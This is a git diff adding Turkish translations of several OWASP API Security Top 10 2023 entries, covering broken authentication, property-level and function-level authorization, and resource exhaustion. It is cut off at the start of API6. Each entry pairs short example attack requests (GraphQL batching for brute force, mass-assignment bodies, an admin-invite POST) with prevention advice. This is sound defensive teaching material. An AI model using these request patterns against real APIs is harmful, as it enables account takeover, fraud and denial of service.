./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/tr/0xa2-broken-authentication.md b/editions/2023/tr/0xa2-broken-authentication.md new file mode 100644 index 000000000..18842abf1 --- /dev/null +++ b/editions/2023/tr/0xa2-broken-authentication.md @@ -0,0 +1,142 @@ +# API2:2023 Kimlik Doğrulama Eksikliği + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Ciddi** · İş etkisi: **Kuruluşa özgü** | +| Kimlik doğrulama mekanizması, herkese açık olduğu için saldırganlar açısından kolay bir hedeftir. Bazı kimlik doğrulama açıklarını istismar etmek daha ileri düzey teknik beceriler gerektirse de, istismar araçları genellikle mevcuttur. | Yazılım ve güvenlik mühendislerinin kimlik doğrulama sınırlarına ilişkin yanlış varsayımları ve doğal uygulama karmaşıklığı, kimlik doğrulama sorunlarını yaygın hâle getirir. Kimlik doğrulama eksikliğini tespit etmeye yönelik yöntemler mevcuttur ve kolayca oluşturulabilir. | Saldırganlar, sistemdeki diğer kullanıcıların hesaplarının tam kontrolünü ele geçirebilir, kişisel verilerini okuyabilir ve onlar adına hassas işlemler gerçekleştirebilir. Sistemlerin, saldırganların eylemlerini meşru kullanıcı eylemlerinden ayırt edebilmesi pek olası değildir. | + +## API Bu Zafiyete Açık mı? + +Kimlik doğrulama uç noktaları ve akışları korunması gereken varlıklardır. +Ayrıca "Şifremi unuttum / şifre sıfırlama" işlevi de kimlik doğrulama +mekanizmalarıyla aynı şekilde ele alınmalıdır. + +Bir API aşağıdaki durumlarda zafiyete açıktır: + +* Saldırganın geçerli kullanıcı adı ve şifre listesiyle kaba kuvvet + uyguladığı kimlik bilgisi doldurma (credential stuffing) saldırılarına + izin veriyorsa. +* Captcha/hesap kilitleme mekanizması sunmadan aynı kullanıcı hesabına + yönelik kaba kuvvet saldırılarına izin veriyorsa. +* Zayıf şifrelere izin veriyorsa. +* Kimlik doğrulama belirteçleri ve şifreler gibi hassas kimlik doğrulama + bilgilerini URL üzerinden gönderiyorsa. +* Kullanıcıların e-posta adreslerini, mevcut şifrelerini veya diğer hassas + işlemlerini şifre onayı istemeden değiştirmesine izin veriyorsa. +* Belirteçlerin (token) özgünlüğünü doğrulamıyorsa. +* İmzasız veya zayıf imzalanmış JWT belirteçlerini (`{"alg":"none"}`) kabul + ediyorsa. +* JWT'nin son kullanma tarihini doğrulamıyorsa. +* Düz metin, şifrelenmemiş veya zayıf biçimde hash'lenmiş şifreler + kullanıyorsa. +* Zayıf şifreleme anahtarları kullanıyorsa. + +Bunlara ek olarak, bir mikroservis aşağıdaki durumlarda zafiyete açıktır: + +* Diğer mikroservisler kimlik doğrulama yapmadan ona erişebiliyorsa +* Kimlik doğrulamayı uygulamak için zayıf veya tahmin edilebilir + belirteçler kullanıyorsa + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Kullanıcı kimlik doğrulamasını gerçekleştirmek için istemcinin, kullanıcı +kimlik bilgileriyle aşağıdaki gibi bir API isteği göndermesi gerekir: + +``` +POST /graphql +{ + "query":"mutation { + login (username:\"\",password:\"\") { + token + } + }" +} +``` + +Kimlik bilgileri geçerliyse, kullanıcıyı tanımlamak için sonraki isteklerde +kullanılması gereken bir kimlik doğrulama belirteci döndürülür. Giriş +denemeleri sıkı bir istek sınırlandırmasına tabidir: dakikada yalnızca üç isteğe +izin verilir. + +Kötü niyetli kişiler, kurbanın hesabına kaba kuvvetle giriş yapmak için +istek sınırlandırmasını aşmak ve saldırıyı hızlandırmak amacıyla GraphQL +sorgu toplu işlemesinden (query batching) yararlanır: + +``` +POST /graphql +[ + {"query":"mutation{login(username:\"victim\",password:\"password\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"123456\"){token}}"}, + {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){token}}"}, + ... + {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"}, +] +``` + +### Senaryo 2 + +Bir kullanıcının hesabıyla ilişkili e-posta adresini güncellemek için +istemcilerin aşağıdaki gibi bir API isteği göndermesi gerekir: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +API, kullanıcılardan mevcut şifrelerini girerek kimliklerini doğrulamalarını +istemediği için, kimlik doğrulama belirtecini çalabilecek konuma gelen kötü +niyetli kişiler; kurbanın hesabının e-posta adresini güncelledikten sonra +şifre sıfırlama akışını başlatarak hesabı ele geçirebilir. + +## Nasıl Önlenir? + +* API'ye kimlik doğrulaması yapmak için olası tüm akışları bildiğinizden emin olun + (mobil/web/tek tıkla kimlik doğrulama uygulayan derin bağlantılar vb.). + Mühendislerinize hangi akışları gözden kaçırdığınızı sorun. +* Kimlik doğrulama mekanizmalarınız hakkında bilgi edinin. Bunların ne + olduğunu ve nasıl kullanıldığını anladığınızdan emin olun. OAuth bir + kimlik doğrulama yöntemi değildir; API anahtarları da değildir. +* Kimlik doğrulama, belirteç üretimi veya şifre saklama konusunda + tekerleği yeniden icat etmeyin. Standartları kullanın. +* Kimlik bilgisi kurtarma/şifremi unuttum uç noktaları; kaba kuvvet, istek + sınırlandırma ve kilitleme korumaları açısından giriş uç noktalarıyla aynı + şekilde ele alınmalıdır. +* Hassas işlemler için (örn. hesap sahibi e-posta adresini/2FA telefon + numarasını değiştirme) yeniden kimlik doğrulama isteyin. +* [OWASP Kimlik Doğrulama Hızlı Başvuru Rehberi'ni][1] kullanın. +* Mümkün olduğunda çok faktörlü kimlik doğrulama uygulayın. +* Kimlik doğrulama uç noktalarınıza yönelik kimlik bilgisi doldurma, + sözlük saldırıları ve kaba kuvvet saldırılarını azaltmak için kaba + kuvvet karşıtı mekanizmalar uygulayın. Bu mekanizma, API'lerinizdeki + olağan istek sınırlandırma mekanizmalarından daha sıkı olmalıdır. +* Belirli kullanıcılara yönelik kaba kuvvet saldırılarını önlemek için + [hesap kilitleme][2]/captcha mekanizmaları uygulayın. Zayıf şifre + kontrolleri uygulayın. +* API anahtarları kullanıcı kimlik doğrulaması için kullanılmamalıdır. + Yalnızca [API istemcilerinin][3] kimlik doğrulaması için + kullanılmalıdır. + +## Kaynaklar + +### OWASP + +* [Kimlik Doğrulama Hızlı Başvuru Rehberi][1] +* [Anahtar Yönetimi Hızlı Başvuru Rehberi][4] +* [Kimlik Bilgisi Doldurma (Credential Stuffing)][5] + +### Harici Kaynaklar + +* [CWE-204: Gözlemlenebilir Yanıt Tutarsızlığı][6] +* [CWE-307: Aşırı Kimlik Doğrulama Denemelerinin Yetersiz Kısıtlanması][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/tr/0xa3-broken-object-property-level-authorization.md b/editions/2023/tr/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..caf0969f6 --- /dev/null +++ b/editions/2023/tr/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,158 @@ +# API3:2023 Nesne Özelliği Düzeyinde Yetkilendirme Eksikliği + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Orta** · İş etkisi: **Kuruluşa özgü** | +| API'ler, bir nesnenin tüm özelliklerini döndüren uç noktaları dışarıya açma eğilimindedir. Bu durum özellikle REST API'ler için geçerlidir. GraphQL gibi diğer protokollerde, hangi özelliklerin döndürüleceğini belirtmek için özel olarak hazırlanmış istekler gerekebilir. Manipüle edilebilecek bu ek özellikleri tespit etmek daha fazla çaba gerektirir, ancak bu görevde yardımcı olacak birkaç otomatik araç mevcuttur. | Döndürülen nesne temsillerinde hassas bilgileri tespit etmek için API yanıtlarını incelemek yeterlidir. Ek (gizli) özellikleri tespit etmek için genellikle fuzzing kullanılır. Bunların değiştirilip değiştirilemeyeceği, bir API isteği hazırlayıp yanıtı analiz etmekle anlaşılır. Hedef özellik API yanıtında döndürülmüyorsa yan etki analizi gerekebilir. | Özel/hassas nesne özelliklerine yetkisiz erişim; verilerin ifşa edilmesine, veri kaybına veya veri bozulmasına yol açabilir. Belirli koşullarda, nesne özelliklerine yetkisiz erişim; yetki yükseltmeye veya hesabın kısmen/tamamen ele geçirilmesine yol açabilir. | + +## API Bu Zafiyete Açık mı? + +Bir kullanıcının API uç noktası aracılığıyla bir nesneye erişmesine izin +verirken, kullanıcının erişmeye çalıştığı belirli nesne özelliklerine +erişim yetkisi olduğunu doğrulamak önemlidir. + +Bir API uç noktası aşağıdaki durumlarda zafiyete açıktır: + +* API uç noktası, hassas kabul edilen ve kullanıcı tarafından okunmaması + gereken nesne özelliklerini açığa çıkarıyorsa. (önceki adı: "[Excessive + Data Exposure][1]" — Gereğinden Fazla Verinin Açığa Çıkarılması) +* API uç noktası, kullanıcının erişememesi gereken hassas bir nesne + özelliğinin değerini değiştirmesine, eklemesine veya silmesine izin + veriyorsa (önceki adı: "[Mass Assignment][2]" — Kontrolsüz Toplu Atama) + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir arkadaşlık uygulaması, kullanıcıların diğer kullanıcıları uygunsuz +davranış nedeniyle şikayet etmesine izin verir. Bu akışın bir parçası +olarak kullanıcı "şikayet et" düğmesine tıklar ve aşağıdaki API çağrısı +tetiklenir: + +``` +POST /graphql +{ + "operationName":"reportUser", + "variables":{ + "userId": 313, + "reason":["offensive behavior"] + }, + "query":"mutation reportUser($userId: ID!, $reason: String!) { + reportUser(userId: $userId, reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +API uç noktası zafiyetlidir çünkü kimliği doğrulanmış kullanıcının, +başka kullanıcılar tarafından erişilmemesi gereken "fullName" (tam ad) ve +"recentLocation" (son konum) gibi hassas (şikayet edilen) kullanıcı nesnesi +özelliklerine erişmesine izin verir. + +### Senaryo 2 + +Bir tür kullanıcının ("ev sahipleri") dairesini başka bir tür kullanıcıya +("misafirler") kiralamasına olanak tanıyan çevrimiçi bir pazar yeri +platformu, misafiri konaklama ücreti için tahsilat yapmadan önce ev +sahibinin misafirin yaptığı rezervasyonu onaylamasını gerektirir. + +Bu akışın bir parçası olarak, ev sahibi tarafından `POST +/api/host/approve_booking` adresine aşağıdaki meşru istek gövdesiyle bir +API çağrısı gönderilir: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm" +} +``` + +Ev sahibi, meşru isteği tekrar gönderir ve aşağıdaki kötü amaçlı veriyi +ekler: + +``` +{ + "approved": true, + "comment": "Check-in is after 3pm", + "total_stay_price": "$1,000,000" +} +``` + +API uç noktası zafiyetlidir çünkü ev sahibinin `total_stay_price` +(toplam konaklama ücreti) adlı dahili nesne özelliğine erişim yetkisi +olup olmadığı doğrulanmaz ve misafirden olması gerekenden çok daha fazla +ücret tahsil edilir. + +### Senaryo 3 + +Kısa videolara dayanan bir sosyal ağ, kısıtlayıcı içerik filtreleme ve +sansür uygular. Yüklenen bir video engellense bile kullanıcı, aşağıdaki +API isteğini kullanarak videonun açıklamasını değiştirebilir: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +Sinirlenen bir kullanıcı, meşru isteği tekrar gönderebilir ve aşağıdaki +kötü amaçlı veriyi ekleyebilir: + +``` +{ + "description": "a funny video about cats", + "blocked": false +} +``` + +API uç noktası zafiyetlidir çünkü kullanıcının `blocked` (engellendi) +adlı dahili nesne özelliğine erişim yetkisi olup olmadığı doğrulanmaz ve +kullanıcı değeri `true`'dan `false`'a değiştirerek kendi engellenmiş +içeriğinin kilidini açabilir. + +## Nasıl Önlenir? + +* Bir nesneyi bir API uç noktası aracılığıyla açığa çıkarırken, her + zaman kullanıcının açığa çıkardığınız nesne özelliklerine erişim + yetkisi olduğundan emin olun. +* `to_json()` ve `to_string()` gibi genel yöntemler kullanmaktan kaçının. + Bunun yerine, döndürmek istediğiniz belirli nesne özelliklerini tek + tek seçin. +* Mümkünse, istemci girdisini otomatik olarak kod değişkenlerine, dahili + nesnelere veya nesne özelliklerine bağlayan fonksiyonları kullanmaktan + kaçının ("Mass Assignment" / Kontrolsüz Toplu Atama). +* Yalnızca istemci tarafından güncellenmesi gereken nesne özelliklerinde + değişikliğe izin verin. +* Ek bir güvenlik katmanı olarak şemaya dayalı bir yanıt doğrulama + mekanizması uygulayın. Bu mekanizmanın bir parçası olarak, tüm API + yöntemleri tarafından döndürülen verileri tanımlayın ve uygulayın. +* Uç nokta için iş/işlevsel gereksinimlere göre döndürülen veri + yapılarını asgari düzeyde tutun. + +## Kaynaklar + +### OWASP + +* [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +* [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +* [Kontrolsüz Toplu Atama Hızlı Başvuru Rehberi][3] + +### Harici Kaynaklar + +* [CWE-213: Uyumsuz Politikalar Nedeniyle Hassas Bilgilerin Açığa Çıkması][4] +* [CWE-915: Dinamik Olarak Belirlenen Nesne Özelliklerinin Yetersiz Denetlenen Değişikliği][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/tr/0xa4-unrestricted-resource-consumption.md b/editions/2023/tr/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..38f9f2d7e --- /dev/null +++ b/editions/2023/tr/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,180 @@ +# API4:2023 Sınırsız Kaynak Tüketimi + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Orta** | Yaygınlık: **Çok yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Ciddi** · İş etkisi: **Kuruluşa özgü** | +| İstismar etmek basit API istekleri gerektirir. Tek bir yerel bilgisayardan veya bulut bilişim kaynakları kullanılarak birden fazla eşzamanlı istek gönderilebilir. Mevcut otomatik araçların çoğu, yüksek trafik yüküyle DoS oluşturmak ve API'lerin hizmet oranını etkilemek üzere tasarlanmıştır. | İstemci etkileşimlerini veya kaynak tüketimini sınırlamayan API'lere sıkça rastlanır. Döndürülecek kaynak sayısını kontrol eden parametreler içeren özel API istekleri hazırlamak ve yanıt durumu/süresi/uzunluğu analizi yapmak, sorunun tespit edilmesini sağlar. Aynı durum toplu (batched) işlemler için de geçerlidir. Tehdit aktörleri maliyet etkisini doğrudan göremese de, bu durum servis sağlayıcıların (örn. bulut sağlayıcı) iş/fiyatlandırma modeline dayanarak çıkarılabilir. | İstismar, kaynakların tükenmesi nedeniyle DoS'a yol açabileceği gibi; artan CPU talebi, artan bulut depolama ihtiyacı gibi altyapıyla ilgili operasyonel maliyetlerin de artmasına yol açabilir. | + +## API Bu Zafiyete Açık mı? + +API isteklerinin karşılanması; ağ bant genişliği, CPU, bellek ve depolama +gibi kaynaklar gerektirir. Bazen gerekli kaynaklar, e-posta/SMS/telefon +araması gönderme, biyometrik doğrulama vb. gibi API entegrasyonları +aracılığıyla servis sağlayıcılar tarafından sunulur ve istek başına +ücretlendirilir. + +Aşağıdaki sınırlamalardan en az biri eksikse veya uygunsuz şekilde +ayarlanmışsa (örn. çok düşük/yüksek) bir API zafiyete açıktır: + +* Çalıştırma zaman aşımları +* Ayrılabilecek maksimum bellek +* Maksimum dosya tanımlayıcısı (file descriptor) sayısı +* Maksimum işlem (process) sayısı +* Maksimum yükleme dosyası boyutu +* Tek bir API istemci isteğinde gerçekleştirilecek işlem sayısı (örn. + GraphQL toplu işlemesi) +* Tek bir istek-yanıtta döndürülecek sayfa başına kayıt sayısı +* Üçüncü taraf servis sağlayıcıların harcama limiti + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Bir sosyal ağ, kullanıcının şifresini sıfırlamak için SMS ile tek +kullanımlık bir belirteç almasını sağlayan SMS doğrulamalı bir "şifremi +unuttum" akışı uygulamıştır. + +Kullanıcı "şifremi unuttum" seçeneğine tıkladığında, kullanıcının +tarayıcısından arka uç API'ye bir API çağrısı gönderilir: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +Ardından, perde arkasında, arka uçtan SMS gönderimini üstlenen üçüncü +taraf bir API'ye bir API çağrısı gönderilir: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` + +Üçüncü taraf sağlayıcı Willyo, bu tür bir çağrı için 0,05 $ ücret +alır. + +Bir saldırgan, ilk API çağrısını on binlerce kez gönderen bir betik +yazar. Arka uç bu isteği takip eder ve Willyo'dan on binlerce metin +mesajı göndermesini ister; bu da şirketin dakikalar içinde binlerce +dolar kaybetmesine yol açar. + +### Senaryo 2 + +Bir GraphQL API uç noktası, kullanıcının profil resmi yüklemesine izin +verir. + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` + +Yükleme tamamlandığında, API yüklenen resme dayanarak farklı +boyutlarda birden fazla küçük resim (thumbnail) oluşturur. Bu grafiksel +işlem, sunucudan çok fazla bellek tüketir. + +API, geleneksel bir istek sınırlandırma koruması uygular; bir kullanıcı kısa +bir süre içinde GraphQL uç noktasına çok sayıda erişemez. API ayrıca, +çok büyük resimlerin işlenmesini önlemek için küçük resim oluşturmadan +önce yüklenen resmin boyutunu kontrol eder. + +Bir saldırgan, GraphQL'in esnek yapısından yararlanarak bu mekanizmaları +kolayca aşabilir: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` + +API, `uploadPic` işleminin kaç kez denenebileceğini sınırlamadığı için, +bu çağrı sunucu belleğinin tükenmesine ve Hizmet Reddine (DoS) yol +açacaktır. + +### Senaryo 3 + +Bir servis sağlayıcı, istemcilerin API'sini kullanarak keyfi boyutta +büyük dosyalar indirmesine izin verir. Bu dosyalar bulut nesne +depolamada saklanır ve çok sık değişmezler. Servis sağlayıcı, daha iyi +bir hizmet oranı sağlamak ve bant genişliği tüketimini düşük tutmak için +bir önbellek servisine güvenir. Önbellek servisi yalnızca 15 GB'a kadar +olan dosyaları önbelleğe alır. + +Dosyalardan biri güncellendiğinde boyutu 18 GB'a çıkar. Tüm servis +istemcileri hemen yeni sürümü çekmeye başlar. Tüketim maliyeti +uyarıları veya bulut servisi için maksimum maliyet sınırı +olmadığından, bir sonraki aylık fatura ortalama 13 ABD dolarından 8.000 +ABD dolarına çıkar. + +## Nasıl Önlenir? + +* Container'lar/Sunucusuz kod (örn. Lambda'lar) gibi [belleği][1], + [CPU'yu][2], [yeniden başlatma sayısını][3], [dosya tanımlayıcılarını + ve işlemleri][4] kolayca sınırlamayı sağlayan bir çözüm kullanın. +* Tüm gelen parametreler ve istek gövdeleri üzerinde maksimum veri + boyutunu tanımlayın ve uygulayın; örneğin dizeler için maksimum + uzunluk, dizilerdeki maksimum eleman sayısı ve maksimum yükleme dosya + boyutu (yerel olarak veya bulut depolamada saklanmasından bağımsız + olarak). +* Bir istemcinin API ile belirli bir zaman diliminde ne sıklıkla + etkileşime girebileceğini sınırlandırın (istek sınırlandırma). +* İstek sınırlandırma, iş ihtiyaçlarına göre hassas biçimde ayarlanmalıdır. Bazı + API uç noktaları daha katı politikalar gerektirebilir. +* Tek bir API istemcisinin/kullanıcısının tek bir işlemi kaç kez veya + ne sıklıkla gerçekleştirebileceğini sınırlayın/kısıtlayın (örn. bir + OTP doğrulama veya tek kullanımlık URL'yi ziyaret etmeden şifre + kurtarma isteği). +* Sorgu dizesi ve istek gövdesi parametreleri için, özellikle yanıtta + döndürülecek kayıt sayısını kontrol eden parametre için uygun + sunucu tarafı doğrulaması ekleyin. +* Tüm servis sağlayıcılar/API entegrasyonları için harcama limitleri + yapılandırın. Harcama limiti belirlemek mümkün değilse, bunun yerine + faturalandırma uyarıları yapılandırılmalıdır. + +## Kaynaklar + +### OWASP + +* ["Kullanılabilirlik" - Web Servisi Güvenliği Hızlı Başvuru Rehberi][5] +* ["DoS Önleme" - GraphQL Hızlı Başvuru Rehberi][6] +* ["Toplu İşlem Saldırılarını Azaltma" - GraphQL Hızlı Başvuru Rehberi][7] + +### Harici Kaynaklar + +* [CWE-770: Kaynakların Sınır veya Kısıtlama Olmadan Tahsis Edilmesi][8] +* [CWE-400: Denetimsiz Kaynak Tüketimi][9] +* [CWE-799: Etkileşim Sıklığının Yetersiz Denetimi][10] +* "Rate Limiting (Throttling)" - [Security Strategies for Microservices-based + Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/tr/0xa5-broken-function-level-authorization.md b/editions/2023/tr/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..0c14a0211 --- /dev/null +++ b/editions/2023/tr/0xa5-broken-function-level-authorization.md @@ -0,0 +1,107 @@ +# API5:2023 Fonksiyon Düzeyinde Yetkilendirme Eksikliği + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Yaygın** · Tespit edilebilirlik: **Kolay** | Teknik etki: **Ciddi** · İş etkisi: **Kuruluşa özgü** | +| İstismar için saldırganın, anonim kullanıcı veya ayrıcalıksız normal kullanıcı olarak erişim yetkisi olmaması gereken bir API uç noktasına meşru API çağrıları göndermesi yeterlidir. Açığa çıkmış uç noktalar kolayca istismar edilir. | Bir fonksiyon veya kaynak için yetkilendirme kontrolleri genellikle yapılandırma veya kod düzeyinde yönetilir. Modern uygulamalar birçok rol, grup ve karmaşık kullanıcı hiyerarşisi (örn. alt kullanıcılar veya birden fazla role sahip kullanıcılar) içerebildiğinden, uygun kontrollerin uygulanması kafa karıştırıcı bir görev olabilir. API'ler daha yapılandırılmış olduğundan ve farklı fonksiyonlara erişim daha öngörülebilir olduğundan, bu tür açıkları API'lerde tespit etmek daha kolaydır. | Bu tür açıklar, saldırganların yetkisiz işlevlere erişmesine olanak tanır. Yönetimsel fonksiyonlar bu tür saldırılar için başlıca hedeftir ve verilerin ifşa edilmesine, veri kaybına veya veri bozulmasına yol açabilir. Nihayetinde hizmet kesintisine de yol açabilir. | + +## API Bu Zafiyete Açık mı? + +Fonksiyon düzeyinde yetkilendirme eksikliği sorunlarını bulmanın en iyi +yolu, uygulamadaki kullanıcı hiyerarşisini, farklı rolleri veya grupları +göz önünde bulundurarak yetkilendirme mekanizmasının derinlemesine +analizini yapmak ve şu soruları sormaktır: + +* Normal bir kullanıcı yönetimsel uç noktalara erişebiliyor mu? +* Bir kullanıcı, yalnızca HTTP yöntemini değiştirerek (örn. `GET`'ten + `DELETE`'e) erişim yetkisi olmaması gereken hassas işlemleri (örn. + oluşturma, değiştirme veya silme) gerçekleştirebiliyor mu? +* X grubundaki bir kullanıcı, yalnızca uç nokta URL'sini ve + parametrelerini tahmin ederek (örn. `/api/v1/users/export_all`) + yalnızca Y grubundaki kullanıcılara açık olması gereken bir + fonksiyona erişebiliyor mu? + +Bir API uç noktasının yalnızca URL yoluna bakarak normal mi yoksa +yönetimsel mi olduğunu varsaymayın. + +Geliştiriciler yönetimsel uç noktaların çoğunu `/api/admins` gibi +belirli bir göreli yol altında açığa çıkarmayı tercih etse de, bu +yönetimsel uç noktaların `/api/users` gibi normal uç noktalarla +birlikte başka göreli yollar altında bulunması da oldukça yaygındır. + +## Örnek Saldırı Senaryoları + +### Senaryo 1 + +Yalnızca davet edilen kullanıcıların katılabildiği bir uygulamanın +kayıt süreci sırasında, mobil uygulama `GET +/api/invites/{invite_guid}` şeklinde bir API çağrısı tetikler. Yanıt, +davetin ayrıntılarını, kullanıcının rolünü ve kullanıcının e-postasını +içeren bir JSON içerir. + +Bir saldırgan, isteği kopyalar ve HTTP yöntemini ve uç noktayı `POST +/api/invites/new` olarak değiştirir. Bu uç noktaya yalnızca yöneticiler +tarafından yönetici konsolu üzerinden erişilmelidir. Uç nokta, +fonksiyon düzeyinde yetkilendirme kontrolleri uygulamaz. + +Saldırgan bu açığı istismar eder ve yönetici ayrıcalıklarına sahip yeni +bir davet gönderir: + +``` +POST /api/invites/new + +{ + "email": "attacker@somehost.com", + "role":"admin" +} +``` + +Daha sonra saldırgan, kendisine bir yönetici hesabı oluşturmak ve +sisteme tam erişim sağlamak için bu kötü amaçlı olarak hazırlanmış +daveti kullanır. + +### Senaryo 2 + +Bir API, yalnızca yöneticilere açık olması gereken bir uç nokta içerir +- `GET /api/admin/v1/users/all`. Bu uç nokta, uygulamanın tüm +kullanıcılarının bilgilerini döndürür ve fonksiyon düzeyinde +yetkilendirme kontrolleri uygulamaz. API yapısını öğrenen bir saldırgan, +bilinçli bir tahminde bulunarak bu uç noktaya erişmeyi başarır ve bu da +uygulama kullanıcılarının hassas bilgilerinin ifşa olmasına yol açar. + +## Nasıl Önlenir? + +Uygulamanız, tüm iş fonksiyonlarınızdan çağrılan tutarlı ve analiz +edilmesi kolay bir yetkilendirme modülüne sahip olmalıdır. Bu tür bir +koruma çoğunlukla, uygulama kodunun dışındaki bir veya daha fazla +bileşen tarafından sağlanır. + +* Uygulama mekanizması(ları), varsayılan olarak tüm erişimi reddetmeli + ve her fonksiyona erişim için belirli rollere açık izin verilmesini + gerektirmelidir. +* Uygulamanın iş mantığını ve grup hiyerarşisini göz önünde + bulundurarak API uç noktalarınızı fonksiyon düzeyinde yetkilendirme + açıkları açısından gözden geçirin. +* Tüm yönetimsel denetleyicilerinizin, kullanıcının grubuna/rolüne + dayalı yetkilendirme kontrolleri uygulayan soyut bir yönetimsel + denetleyiciden türediğinden emin olun. +* Normal bir denetleyici içindeki yönetimsel fonksiyonların, + kullanıcının grubuna ve rolüne dayalı yetkilendirme kontrolleri + uyguladığından emin olun. + +## Kaynaklar + +### OWASP + +* [Forced Browsing][1] +* "A7: Missing Function Level Access Control", [OWASP Top 10 2013][2] +* [Access Control][3] + +### Harici Kaynaklar + +* [CWE-285: Hatalı Yetkilendirme][4] + +[1]: https://owasp.org/www-community/attacks/Forced_browsing +[2]: https://github.com/OWASP/Top10/raw/master/2013/OWASP%20Top%2010%20-%202013.pdf +[3]: https://owasp.org/www-community/Access_Control +[4]: https://cwe.mitre.org/data/definitions/285.html diff --git a/editions/2023/tr/0xa6-unrestricted-access-to-sensitive-business-flows.md b/editions/2023/tr/0xa6-unrestricted-access-to-sensitive-business-flows.md new file mode 100644 index 000000000..d8ce4dc5d --- /dev/null +++ b/editions/2023/tr/0xa6-unrestricted-access-to-sensitive-business-flows.md @@ -0,0 +1,116 @@ +# API6:2023 Hassas İş Akışlarına Sınırsız Erişim + +| Tehdit aktörleri / Saldırı vektörleri | Güvenlik Zayıflığı | Etkiler | +| - | - | - | +| API'ye Özgü · İstismar edilebilirlik: **Kolay** | Yaygınlık: **Çok yaygın** · Tespit edilebilirlik: **Orta** | Teknik etki: **Orta** · İş etkisi: **Kuruluşa özgü** | +| İstismar genellikle API'nin desteklediği iş modelini anlamayı, hassas iş akışlarını bulmayı ve bu akışlara erişimi otomatikleştirerek kuruluşa zarar vermeyi içerir. | İş gereksinimlerini tam olarak desteklemek için API'yi bütünsel biçimde değerlendirmemek, bu sorunun yaygınlaşmasına katkıda bulunur. Saldırganlar, hedef iş akışında hangi kaynakların (örn. uç noktaların) yer aldığını ve bunların birlikte nasıl çalıştığını manuel olarak tespit eder. Koruma mekanizmaları mevcutsa saldırganların bunları aşmanın bir yolunu bulması gerekir. | Genel olarak teknik bir etki beklenmez. İstismar kuruluşa farklı şekillerde zarar verebilir; örneğin meşru kullanıcıların bir ürünü satın almasını engelleyebilir veya bir oyunun iç ekonomisinde enflasyona yol açabilir. | + +## API Bu Zafiyete Açık mı? + +Bir API uç noktası oluştururken, hangi iş akışını açığa çıkardığını 